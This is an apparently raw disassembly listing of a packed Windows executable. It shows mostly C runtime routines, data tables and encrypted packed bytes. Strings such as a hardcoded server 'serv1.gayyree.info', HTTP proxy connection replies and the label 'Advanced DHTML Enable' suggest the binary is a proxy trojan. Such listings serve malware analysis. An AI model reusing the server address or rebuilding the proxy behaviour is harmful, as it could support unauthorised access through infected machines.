loc_40774D ; --------------------------------------------------------------------------- loc_407663: ; CODE XREF: sub_407632+21j ; sub_407632+10Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_40772E push ebx call sub_4030B4 mov ebp, eax pop ecx test ebp, ebp jz loc_40770B cmp esi, dword_4090EC ja short loc_4076CB push esi push ebx push ebp call sub_4038BF add esp, 0Ch test eax, eax jz short loc_40769A mov edi, ebx jmp short loc_4076C3 ; --------------------------------------------------------------------------- loc_40769A: ; CODE XREF: sub_407632+62j push esi call sub_40340A mov edi, eax pop ecx test edi, edi jz short loc_4076CB mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4076B1 mov eax, esi loc_4076B1: ; CODE XREF: sub_407632+7Bj push eax push ebx push edi call sub_4063C0 push ebx push ebp call sub_4030DF add esp, 14h loc_4076C3: ; CODE XREF: sub_407632+66j test edi, edi jnz loc_40774B loc_4076CB: ; CODE XREF: sub_407632+53j ; sub_407632+73j test esi, esi jnz short loc_4076D2 push 1 pop esi loc_4076D2: ; CODE XREF: sub_407632+9Bj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_51867C call dword_40806C mov edi, eax test edi, edi jz short loc_40772E mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4076F7 mov eax, esi loc_4076F7: ; CODE XREF: sub_407632+C1j push eax push ebx push edi call sub_4063C0 push ebx push ebp call sub_4030DF add esp, 14h jmp short loc_40772A ; --------------------------------------------------------------------------- loc_40770B: ; CODE XREF: sub_407632+47j test esi, esi jnz short loc_407712 push 1 pop esi loc_407712: ; CODE XREF: sub_407632+DBj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push dword_51867C call dword_4080B0 mov edi, eax loc_40772A: ; CODE XREF: sub_407632+D7j test edi, edi jnz short loc_40774B loc_40772E: ; CODE XREF: sub_407632+36j ; sub_407632+B9j cmp dword_409AE4, 0 jz short loc_40774B push esi call sub_40301F test eax, eax pop ecx jnz loc_407663 jmp loc_40765C ; --------------------------------------------------------------------------- loc_40774B: ; CODE XREF: sub_407632+93j ; sub_407632+FAj ... mov eax, edi loc_40774D: ; CODE XREF: sub_407632+16j ; sub_407632+2Cj pop edi pop esi pop ebp pop ebx retn sub_407632 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407752 proc near ; CODE XREF: sub_40730E+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_51730C, 0 jnz short loc_40776D push [ebp+arg_4] push [ebp+arg_0] call sub_407800 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40776D: ; CODE XREF: sub_407752+Aj mov ecx, [ebp+arg_0] loc_407770: ; CODE XREF: sub_407752+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_4077B3 movzx edx, al test byte_517421[edx], 4 jz short loc_40779F mov dl, [ecx+1] inc ecx test dl, dl jz short loc_4077AA movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_4077AE jmp short loc_4077A7 ; --------------------------------------------------------------------------- loc_40779F: ; CODE XREF: sub_407752+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_4077B3 loc_4077A7: ; CODE XREF: sub_407752+4Bj inc ecx jmp short loc_407770 ; --------------------------------------------------------------------------- loc_4077AA: ; CODE XREF: sub_407752+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_4077AE: ; CODE XREF: sub_407752+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_4077B3: ; CODE XREF: sub_407752+25j ; sub_407752+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_407752 endp ; =============== S U B R O U T I N E ======================================= sub_4077C5 proc near ; CODE XREF: sub_4017F0+783p ; sub_4074ED+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4077EC push esi call sub_405B90 inc eax push eax call sub_4028C6 pop ecx test eax, eax pop ecx jz short loc_4077EC push esi push eax call sub_4062D0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4077EC: ; CODE XREF: sub_4077C5+7j ; sub_4077C5+1Aj xor eax, eax pop esi retn sub_4077C5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407800 loc_4077F0: ; CODE XREF: sub_407800+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_407800 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407800 proc near ; CODE XREF: sub_407752+12p arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 004077F0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_40782B loc_407818: ; CODE XREF: sub_407800+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_4077F0 test cl, cl jz short loc_407874 test edx, 3 jnz short loc_407818 loc_40782B: ; CODE XREF: sub_407800+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_407836: ; CODE XREF: sub_407800+61j ; sub_407800+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_407878 and eax, 81010100h jz short loc_407836 and eax, 1010100h jnz short loc_407872 and esi, 80000000h jnz short loc_407836 loc_407872: ; CODE XREF: sub_407800+68j ; sub_407800+81j ... pop esi pop edi loc_407874: ; CODE XREF: sub_407800+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_407878: ; CODE XREF: sub_407800+5Aj mov eax, [edx-4] cmp al, bl jz short loc_4078B5 test al, al jz short loc_407872 cmp ah, bl jz short loc_4078AE test ah, ah jz short loc_407872 shr eax, 10h cmp al, bl jz short loc_4078A7 test al, al jz short loc_407872 cmp ah, bl jz short loc_4078A0 test ah, ah jz short loc_407872 jmp short loc_407836 ; --------------------------------------------------------------------------- loc_4078A0: ; CODE XREF: sub_407800+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_4078A7: ; CODE XREF: sub_407800+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_4078AE: ; CODE XREF: sub_407800+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_4078B5: ; CODE XREF: sub_407800+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_407800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4078C0 proc near ; CODE XREF: sub_402D10+13p jmp dword_40808C sub_4078C0 endp ; --------------------------------------------------------------------------- align 4 dd 1CEh dup(0) dword_408000 dd 0 dword_408004 dd 0 dd 0 dword_40800C dd 0 ; sub_407091+B9r dword_408010 dd 0 dword_408014 dd 0 ; sub_406CE8+14Dr ... dword_408018 dd 0 ; sub_406CE8+A7r dword_40801C dd 0 dword_408020 dd 0 dword_408024 dd 0 dword_408028 dd 0 dword_40802C dd 0 dword_408030 dd 0 ; sub_40612F+14r ... dword_408034 dd 0 ; sub_407091+261r dword_408038 dd 0 ; sub_405D65+8Dr dword_40803C dd 0 ; sub_405D65+11Br ... dword_408040 dd 0 dword_408044 dd 0 ; sub_4058BE:loc_4059E3r ... dword_408048 dd 0 ; sub_4058BE+D8r ... dword_40804C dd 0 ; sub_4017F0+21Er dword_408050 dd 0 dword_408054 dd 0 ; sub_4017F0+1A2r ... dword_408058 dd 0 dword_40805C dd 0 dword_408060 dd 0 dword_408064 dd 0 ; sub_405D65+12Dr dword_408068 dd 0 dword_40806C dd 0 ; sub_403076+Dr ... dword_408070 dd 0 ; sub_402FFB+1Dr dword_408074 dd 0 dword_408078 dd 0 dword_40807C dd 0 ; sub_4052DA+38r dword_408080 dd 0 dword_408084 dd 0 dword_408088 dd 0 ; sub_4030DF+2C4r ... dword_40808C dd 0 dword_408090 dd 0 dword_408094 dd 0 ; sub_404C58+59r dword_408098 dd 0 dword_40809C dd 0 dword_4080A0 dd 0 dword_4080A4 dd 0 dword_4080A8 dd 0 dword_4080AC dd 0 ; sub_4037C4+51r dword_4080B0 dd 0 ; sub_407632+F0r dword_4080B4 dd 0 dword_4080B8 dd 0 dword_4080BC dd 0 dword_4080C0 dd 0 ; sub_4052DA+ABr ... dword_4080C4 dd 0 ; sub_404B26+E1r dword_4080C8 dd 0 dword_4080CC dd 0 dword_4080D0 dd 0 ; sub_404E3C+143r dword_4080D4 dd 0 ; sub_404C58+166r dd 0 dword_4080DC dd 0 dword_4080E0 dd 0 dword_4080E4 dd 0 dword_4080E8 dd 0 dword_4080EC dd 0 dword_4080F0 dd 0 dword_4080F4 dd 0 dword_4080F8 dd 0 dword_4080FC dd 0 dword_408100 dd 0 dword_408104 dd 0 dword_408108 dd 0 dword_40810C dd 0 dword_408110 dd 0 dword_408114 dd 0 dword_408118 dd 0 dword_40811C dd 0 dd 0 byte_408124 db 0 ; DATA XREF: sub_403D8C+4Ar align 4 dword_408128 dd 0FFFFFFFFh, 402829h, 402836h, 0dword_408138 dd 0FFFFFFFFh, 402FB7h, 402FCBhbyte_408144 db 6 ; DATA XREF: sub_403D8C:loc_403DE3r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .packed:off_4090F4o unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: .packed:off_4090F0o align 4 aRuntimeError db 'runtime error ',0 align 4 db 0Dh,0Ah,0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .packed:off_4093A4o db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_404E3C+119o align 4 asc_40846C db 0Ah ; DATA XREF: sub_404E3C+F1o db 0Ah,0 align 10h aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_404E3C+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_404E3C+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_404E3C+7Do align 4 aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 10h aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4052DA+Ao align 4 dword_4084EC dd 0 ; sub_406CE8+57o ... dword_4084F0 dd 2 dup(0) ; sub_406CE8+36o ... dword_4084F8 dd 0FFFFFFFFh, 405E5Eh, 405E62haGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_4066F5+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_4066F5+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_4066F5+24o aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4066F5+Do align 10h dword_408540 dd 0FFFFFFFFh, 406DF8h, 406DFCh, 0FFFFFFFFh, 406EACh, 406EB0h ; DATA XREF: sub_406CE8+5o dword_408558 dd 0FFFFFFFFh, 407248h, 40724Ch, 0FFFFFFFFh, 4072B7h, 4072BBh ; DATA XREF: sub_407091+5o dd 869Ch, 2 dup(0) dd 86E4h, 80DCh, 85CCh, 2 dup(0) dd 873Eh, 800Ch, 85C0h, 2 dup(0) dd 876Eh, 8000h, 295h dup(0) dword_409000 dd 0 dword_409004 dd 0 dword_409008 dd 0 dd offset sub_405AD5 dd offset sub_4062B4 dword_409014 dd 0 dword_409018 dd 0 dd offset sub_405B7A dword_409020 dd 0 dword_409024 dd 0 dword_409028 dd 2 dup(0) dword_409030 dd 6425h aServ1_gayyree_ db 'serv1.gayyree.info',0 ; DATA XREF: sub_4016E0+17o align 4 aHttp1_0201Unab db 'HTTP/1.0 201 Unable to connect',0Dh,0Ah ; DATA XREF: sub_4017F0+F35o db 0Dh,0Ah,0 align 4 aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: sub_4017F0+E7Ao db 0Dh,0Ah,0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_4017F0+B3Eo ; sub_4017F0+CB5o aHttp db 'http://',0 ; DATA XREF: sub_4017F0+5ABo aAdvancedDhtmlE db 'Advanced DHTML Enable',0 ; DATA XREF: sub_4017F0+1C3o align 10h dword_4090C0 dd 1 align 10h dword_4090D0 dd 19930520h, 3 dup(0) ; sub_402DE6+2o off_4090E0 dd offset sub_402978 ; DATA XREF: sub_402FD6+1Cr dword_4090E4 dd 2 ; sub_404E3C+46r ... dd 10h dword_4090EC dd 3F8h ; sub_406A9F+27r ... off_4090F0 dd offset aNull_0 ; DATA XREF: sub_403D8C:loc_4040F0r ; sub_403D8C+457r ; "(null)" off_4090F4 dd offset aNull ; DATA XREF: sub_403D8C+259r ; "(null)" off_4090F8 dd offset word_409102 ; DATA XREF: sub_402BE9+23r ; sub_402BE9:loc_402C4Ar ... dd offset word_409102 db 2 dup(0) word_409102 dw 20h ; DATA XREF: sub_405EBF+18r ; .packed:off_4090F8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_409304 dd 1 ; sub_402BE9:loc_402C35r ... dd 2Eh, 1 dword_409310 dd 0C0000005h ; sub_404785+11o dd 0Bh, 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_409388 dd 3 dword_40938C dd 7 dword_409390 dd 0Ah dword_409394 dd 8Ch ; sub_404644+8Fw ... dword_409398 dd 0FFFFFFFFh, 0A00hdword_4093A0 dd 2 ; sub_404E3C+28r off_4093A4 dd offset aR6002FloatingP ; DATA XREF: sub_404E3C+FCr ; sub_404E3C+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 4083F0h, 9, 4083C4h, 0Ah, 4083A0h, 10h, 408374h dd 11h, 408344h, 12h, 408320h, 13h, 4082F4h, 18h, 4082BCh dd 19h, 408294h, 1Ah, 40825Ch, 1Bh, 408224h, 1Ch, 4081FCh dd 78h, 4081ECh, 79h, 4081DCh, 7Ah, 4081CCh, 0FCh, 4081C8h dd 0FFh, 4081B8h dword_409430 dd 7080h ; sub_404E3C+1Bo ... dword_409434 dd 1 ; sub_4052DA+8Bw ... dword_409438 dd 0FFFFF1F0h ; sub_4052DA+94w ... dword_40943C dd 545350h, 0Fh dup(0)dword_40947C dd 544450h, 0Fh dup(0)off_4094BC dd offset dword_40943C ; DATA XREF: sub_4052DA+BAr ; sub_4052DA+D9r ... off_4094C0 dd offset dword_40947C ; DATA XREF: sub_4052DA+F4r ; sub_4052DA+11Br ... align 8 dword_4094C8 dd 0FFFFFFFFh ; sub_405538+1Er ... dword_4094CC dd 0 ; sub_4056E4+BFw dword_4094D0 dd 0 ; sub_4056E4+E0w align 8 dword_4094D8 dd 0FFFFFFFFh ; sub_405538+26r ... dword_4094DC dd 0 ; sub_4056E4+EAw ... dword_4094E0 dd 0 ; sub_4056E4+23r ... dword_4094E4 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_409514 dd 16Dh ; sub_4056E4+2Er ... dword_409518 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 off_409550 dd offset dword_517540 ; DATA XREF: sub_405AD5+55o align 8 dd offset dword_517540 dd 101h dword_409560 dd 2 dup(0) dd 1000h, 0 dword_409570 dd 3 dup(0) dd 2, 1, 3 dup(0) dword_409590 dd 3 dup(0) dd 2 dup(2), 7 dup(0) dword_4095C0 dd 84h dup(0) off_4097D0 dd offset sub_406C81 ; DATA XREF: sub_403D8C+3AAr ; sub_405AD5+69o off_4097D4 dd offset sub_406C81 ; DATA XREF: sub_403D8C+3E2r dd offset sub_406C81 off_4097DC dd offset sub_406C81 ; DATA XREF: sub_403D8C+3CBr dd offset sub_406C81 dd offset sub_406C81 align 10h byte_4097F0 db 1 ; DATA XREF: sub_405EF0+E1r db 2, 4, 8 align 8 dword_4097F8 dd 3A4h dword_4097FC dd 82798260h, 21h, 0dword_409808 dd 0DFA6h align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_4098E8 dd 2 dup(0) dword_4098F0 dd 1 dword_4098F4 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_409A58 dd 3 dup(0) dword_409A64 dd 0 ; sub_4013E0+19w ... dd 0 dword_409A6C dd 0 dword_409A70 dd 0 ; sub_4012A0+ECw ... dword_409A74 dd 0 ; sub_4058BE+11Bw ... dd 0 dword_409A7C dd 0 dword_409A80 dd 0 dword_409A84 dd 0 dword_409A88 dd 0 dword_409A8C dd 0 dword_409A90 dd 0 align 8 dword_409A98 dd 0 ; sub_406904+9r ... dword_409A9C dd 0 dword_409AA0 dd 0 ; sub_406F76+4r ... align 8 dword_409AA8 dd 0 align 10h byte_409AB0 db 0 ; DATA XREF: sub_402989+2Dw ; sub_405B7A+5r align 4 dword_409AB4 dd 0 dword_409AB8 dd 0 ; sub_402989+8Bw align 10h dword_409AC0 dd 0 ; sub_402A3C+A4w align 8 word_409AC8 dw 0 ; DATA XREF: sub_402A3C+55r ; sub_402A3C+9Ao word_409ACA dw 0 ; DATA XREF: sub_402A3C+48r db 2 dup(0) word_409ACE dw 0 ; DATA XREF: sub_402A3C+3Br word_409AD0 dw 0 ; DATA XREF: sub_402A3C+2Er word_409AD2 dw 0 ; DATA XREF: sub_402A3C+21r align 8 dword_409AD8 dd 0 ; sub_404820:loc_404832r ... align 10h dword_409AE0 dd 0 dword_409AE4 dd 0 ; sub_406A9F:loc_406AF0r ... dword_409AE8 dd 0 dword_409AEC dd 0 ; sub_404644+46w ... dword_409AF0 dd 41h dup(0) dword_409BF4 dd 0 ; sub_404B26+23w ... dword_409BF8 dd 0 align 10h dword_409C00 dd 0 ; sub_4052DA+63w ... align 8 dword_409C08 dd 0 ; sub_4052DA+46r dword_409C0C dd 10h dup(0) word_409C4C dw 0 ; DATA XREF: sub_405538+A8r word_409C4E dw 0 ; DATA XREF: sub_4052DA+54r ; sub_405538+DBr ... word_409C50 dw 0 ; DATA XREF: sub_405538+CAr word_409C52 dw 0 ; DATA XREF: sub_405538+D3r ; sub_405538:loc_40562Ar word_409C54 dw 0 ; DATA XREF: sub_405538+C0r word_409C56 dw 0 ; DATA XREF: sub_405538+B8r word_409C58 dw 0 ; DATA XREF: sub_405538+B0r word_409C5A dw 0 ; DATA XREF: sub_405538+9Er dword_409C5C dd 0 dword_409C60 dd 10h dup(0) word_409CA0 dw 0 ; DATA XREF: sub_405538+46r word_409CA2 dw 0 ; DATA XREF: sub_4052DA:loc_405351r ; sub_405538+78r ... word_409CA4 dw 0 ; DATA XREF: sub_405538+67r word_409CA6 dw 0 ; DATA XREF: sub_405538+70r ; sub_405538:loc_4055BCr word_409CA8 dw 0 ; DATA XREF: sub_405538+5Dr word_409CAA dw 0 ; DATA XREF: sub_405538+55r word_409CAC dw 0 ; DATA XREF: sub_405538+4Dr word_409CAE dw 0 ; DATA XREF: sub_405538+3Er dword_409CB0 dd 0 dword_409CB4 dd 0 ; sub_4052DA:loc_405426r ... dword_409CB8 dd 0 dword_409CBC dd 0 dword_409CC0 dd 0 ; sub_405D65:loc_405DCFw dword_409CC4 dd 0 ; sub_406089+4w ... dword_409CC8 dd 0 ; resolved to->USER32.MessageBoxA ; sub_4066F5+2Ew ... dword_409CCC dd 0 ; resolved to->USER32.GetActiveWindow ; sub_4066F5:loc_406744r dword_409CD0 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_4066F5+60r dd 2 dup(0) dword_409CDC dd 0 ; sub_405D65+7Br dd 3 dup(0) dword_409CEC dd 0 ; sub_4052DA+101r ... dd 0 dword_409CF4 dd 0 ; sub_406CE8+4Cw ... dword_409CF8 dd 0 ; sub_407091+48w ... word_409CFC dw 0 ; DATA XREF: sub_4016E0+2Fr ; sub_4017F0+237w ... align 10h dword_409D00 dd 0 ; sub_4017F0+217o ... dword_409D04 dd 0 ; sub_4017F0+A93w ... dword_409D08 dd 0 ; sub_4017F0+38Dr ... align 10h dword_409D10 dd 0 dword_409D14 dd 0 ; sub_4017F0+A01w ... dword_409D18 dd 0 ; sub_4017F0+405r ... dword_409D1C dd 0 ; sub_4017F0:loc_401C5Er dword_409D20 dd 0 ; sub_4017F0+EBBr dd 5 dup(0) dword_409D38 dd 0 ; sub_4017F0+44Cr ... dd 4355Dh dup(0) dword_5172B0 dd 4 dup(0) dword_5172C0 dd 2 dup(0) ; sub_4017F0+20Bo ... dword_5172C8 dd 0 ; sub_4017F0+365r dd 0Ch dup(0) dword_5172FC dd 0 ; sub_405EF0+65w ... dword_517300 dd 3 dup(0) ; sub_405EF0+171o ... dword_51730C dd 0 ; sub_405EF0+15Dw ... dd 4 dup(0) byte_517320 db 0 ; DATA XREF: sub_40612F:loc_40623Bw ; sub_40612F:loc_406258w ... align 4 dd 3Fh dup(0) byte_517420 db 0 ; DATA XREF: sub_405EF0+5Co ; sub_405EF0+AFo ... byte_517421 db 0 ; DATA XREF: sub_404972+3Fr ; sub_404972+84r ... align 4 dd 40h dup(0) dword_517524 dd 0 ; sub_405EF0+12Bw ... dword_517528 dd 0 ; sub_405AD5+41w ... dd 5 dup(0) dword_517540 dd 400h dup(0) ; .packed:00409558o dword_518540 dd 0 ; sub_405AD5:loc_405AEFw ... dd 7 dup(0) dword_518560 dd 0 ; sub_404C58:loc_404C78w ... dword_518564 dd 3Fh dup(0) dword_518660 dd 0 ; sub_404C58:loc_404CE2r ... dword_518664 dd 0 ; sub_403713+5r ... dword_518668 dd 0 ; sub_4030DF+259r ... dword_51866C dd 0 ; sub_4030DF+310w ... dword_518670 dd 0 ; sub_4030DF+22Cr ... dword_518674 dd 0 ; sub_4030B4r ... dword_518678 dd 0 ; sub_4030B4+8r ... dword_51867C dd 0 ; sub_402B18+21r ... dword_518680 dd 0 ; sub_4047C8+Fr ... dword_518684 dd 0 ; sub_406904r dword_518688 dd 0 dword_51868C dd 0 dword_518690 dd 0 ; sub_402989+57r dword_518694 dd 0 align 2000h _packed ends ; Section 2. (virtual address 0011A000) ; Virtual size : 00004F47 ( 20295.) ; Section size in file : 00004F47 ( 20295.) ; Offset to raw data for section: 0011A000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _RLPack segment para public 'CODE' use32 assume cs:_RLPack ;org 51A000h assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing dd 0CA222B00h, 37444082h, 96B718E1h, 7A18C754h, 2525D76Bh dd 2EB9A7DBh, 7391CB86h, 0D0EE91F0h, 0A6A54390h, 95477E11h dd 219D01FCh, 47F54F14h, 275147D2h, 0D284A607h, 4736DE4Ch dd 14908DF1h, 1BACC524h, 9F54A111h, 0B5853D75h, 3B01A2ECh dd 9EA02B3Dh, 0E68231B4h, 8FE95597h, 44445FCh, 6E6771CBh dd 0DB757E6Bh, 0D4F204FEh, 1BDCF518h, 0BA399440h, 0A53EA2CFh dd 3E9591EFh, 0EBDC1D51h, 0EAE497A1h, 504C044Dh, 8AD28318h dd 30AED7B1h, 964760F9h, 8E421919h, 0A740DCCAh, 6386248Eh dd 0C73DB3E9h, 95E28039h, 0B61D71BBh, 1CB91085h, 8E7C1D50h dd 20DA2836h, 289FD180h, 0CD5D6478h, 863F49B4h, 677D8F2Ah dd 0B8789C97h, 80FC75DDh, 4F81734Fh, 78EB53D3h, 0C5B7630Fh dd 193DE72Ah, 9C2D416Bh, 1722F9Ch, 3F1C72CEh, 40E7DA23h dd 0F53E66C1h, 3A72A7FCh, 465EC39Bh, 3CFB238Ch, 0ECFA6BDEh dd 5168265Dh, 4F7178B4h, 31CD28CDh, 0ADBFBEB1h, 0A16B16CDh dd 2D3B52DDh, 67C0C168h, 4E51DD8Fh, 14FD2F72h, 0D91AD0Eh dd 20CFE60Ch, 5423F9C1h, 4A4728D4h, 469A8FD4h, 0DD3521BDh dd 711FC646h, 485F614Fh, 34514D41h, 0E285A539h, 0E497F80Bh dd 874AD370h, 3049A30Ch, 39EC5E29h, 576DA056h, 0D3B40337h dd 433E63E2h, 140DC462h, 6CD38FA9h, 0D028D43Eh, 842B2BFBh dd 1C59FCCBh, 84D3BE6h, 0FF240C50h, 0E800E785h, 7F3F4A88h dd 94716442h, 0F5756F93h, 9CF44D5Eh, 7AB3967Bh, 1BCCF3BAh dd 0B8490B0Ah, 34E51E60h, 0EB43712Bh, 640ADD02h, 0E38539FBh dd 3545E45Ch, 0A88A669Ch, 0AB647E5h, 44846841h, 97A18340h dd 0D7137C67h, 821472C6h, 46FA777Ch, 58B3B8BCh, 1051BFE8h dd 214D38E8h, 3B44B6E2h, 8AB1E4Dh, 7A4BE70Eh, 6B15F3AAh dd 1DF27B00h, 61855B42h, 0DAEA84D8h, 577489ACh, 6D20767Fh dd 0F91EB0A7h, 0AE45D993h, 0DFA4B60Ch, 0F23EB0DCh, 27B4DABh dd 1F19B9D3h, 7837FA4Ch, 48FD3219h, 413FE357h, 0F1428D4Dh dd 4F7E83D8h, 19089513h, 42380976h, 4C6A6E5Eh, 11AE7B59h dd 9C02E545h, 3E93D30Ah, 0E6274362h, 0F83675C4h, 0B2AD011Ch dd 43B99594h, 440EFCDAh, 241B44B5h, 21E0954Fh, 21A3E15Bh dd 59163097h, 11AE3AFAh, 0A532FD3Bh, 0EF07C928h, 0B66AEA9Eh dd 0A61C9876h, 5B3DB159h, 721E055Ch, 23F2DF7Eh, 0CE743C0Bh dd 0F55F627Ah, 176A5D47h, 8B9707B2h, 7EDE8CC7h, 3BCAEB64h dd 151561C0h, 35E46119h, 0AB06C2Bh, 7316B699h, 0B15EF038h dd 520D6ADCh, 0F9C469E1h, 0DD17E0BDh, 97164779h, 70093871h dd 0F03AC20Ah, 8869B0FFh, 0E6C89A4h, 8B8A46h, 3774365h dd 5F70445Eh, 